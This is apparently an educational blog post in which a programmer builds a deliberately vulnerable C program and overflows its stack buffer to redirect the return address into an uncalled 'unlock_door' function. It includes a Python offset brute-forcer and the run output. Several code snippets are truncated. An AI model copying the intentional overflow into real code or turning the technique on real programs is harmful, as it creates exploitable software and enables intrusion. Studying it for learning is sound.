My first buffer overflow exploit

I know worryingly little about the world of computer security – I’ve probably written a huge amount of exploitable code in my time, so it’s a good idea as a programmer to spend a bit of effort finding out more about how our programs can be compromised in order to gain awareness of the issues.

The key to understanding exploits is the concept of the universal machine – the fact that trying to restrict what a computer can do is literally fighting against the laws of physics. Lots of money can be poured into software which sometimes only takes a couple of days to get compromised, its a Sisyphean task where the goal can only be to make it “hard enough” – as its likely that anything complex enough to be useful is vulnerable in some way.

Having said that, the classic exploit is quite avoidable but regrettably common – the buffer overflow, a specific kind of common bug which makes it possible to write over a program’s stack to take control of it’s behaviour externally. This was about as much as I knew, but I didn’t really understand the practicalities so I thought I’d write an example to play with. There are quite a lot of examples online, but a lot of them are a little confusing so I’d thought I try a simpler approach.

Here is a function called “unlock_door”, we’ll compile this into a C program and try to force it to execute even though it’s not called from the program:

void unlock_door() { 
  printf("DOOR UNLOCKED\n"); 

Now we need a vulnerability, this could be something completely unrelated to “unlock_door” but called in the same program – or it’s library code:

void vulnerable(char *incoming_data, unsigned int len) {
    char fixed_buffer[10];
    // woop! put some variable length data in 
    // a fixed size container with no checking
    // print out the return pointer, helpful for debugging the hack!
    printf("return pointer is: %p\n", 

The dodgy memcpy call copies incoming_data into fixed_buffer on the stack which is 10 bytes big. If incoming_data is bigger then it will copy outside of the reserved memory and overwrite other data on the stack. One of the other things stored on the stack is the return address value – which tells the program where the function was called from so it can go back when it’s finished. If we can set incoming_data from outside the program, then we can exploit it to redirect program flow and jump into unlock_door instead of returning properly.

We’ll make getting data into the program very simple indeed, and input it via a base16 encoded argument string converted to binary data passed to our vulnerable function in main:

unsigned int base16_decode(const char *hex, char **data) {
  unsigned int str_size = strlen(hex);
  *data = malloc(str_size/2); 
  for (unsigned int i=0; i<str_size; i+=2) {
    if (sscanf(&(hex[i]), "%2hhx", &((*data)[i/2])) != 1) {
      return 0;
  return str_size/2;

void main(int argc, char **argv) {
  char *data;
  unsigned int size = base16_decode(argv[1],&data);
  printf("normal exit, door is locked\n");

This is our vulnerable C program finished. If we run it with just a few bytes of data it operates normally and prints out the current return pointer, sending it back into the main function it was called from:

$ ./dodgy_door_prog 0000000000
return pointer is: 0x40088c
normal exit, door is locked

We can now inspect it in order to figure out the exploit. The first thing we can do is run the standard bintools “nm” command on the binary which prints out the addresses of all the functions in the executable. We can search this with grep to print the address of the target function we want to call:

$ nm dodgy_door_prog | grep unlock_door
00000000004007fa T unlock_door

The smart thing to do next is to work out where the return pointer would be relative to the fixed_buffer variable and offset this address to provide a payload to send the the program – I’m not smart though, so I wrote a python program to figure it out for me:

import os
import string

# this is stored in memory in reverse (little endian format)
unlock_door_addr = "fa0740"

def build_payload(length):
    return "00"*length+unlock_door_addr

ret = 0
count = 0
# try increasing offsets and until we get the exit code from unlock_door
# ignore all segfaults and bus errors etc and keep retrying
while ret in [0,35584,34560,34304,33792]:
    cmd="./dodgy_door_prog "+payload
    ret = os.system(cmd);
    print cmd

It took me a while to figure out that addresses are stored in memory backwards to what you’d expect as it’s little-endian memory layout (on intel and everything else these days). The script keeps adding zeros in order to offset the target address until it sits in the right bit of stack memory (you can see the return pointer gradually getting corrupted) and eventually triggers the function:

./dodgy_door_prog 00000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 00000000000000000000000000000000000000000000fa0740
return pointer is: 0x400840
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000000000fa0740
return pointer is: 0x404007
Segmentation fault (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000000000fa0740
return pointer is: 0x4007fa

The successful offset is 24 bytes. Now the good news is that this is only possible on GCC if we compile with “-fno-stack-protector”, as by default for the last year or so it checks functions that allocate arrays on the stack by using a random “canary” value pushed to the stack, if the canary gets altered it stops the program before the function returns. However not all functions are checked this way as it’s slow, so it’s quite easy to circumvent for example if changed from an array to to the address of a local variable instead.

More advanced versions of this exploit also insert executable code into the stack to do things like start a shell process so you can run any commands as the program. There is also an interesting technique called “Return Oriented Programming” where you can analyse an executable to find snippets of code that end in returns (called “gadgets”) and string them together to run your own arbitrary programs. This reminds me of the recent work we’ve been doing on biological viruses, as it’s analogous to how they latch onto sections of bacterial DNA to run their own code.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>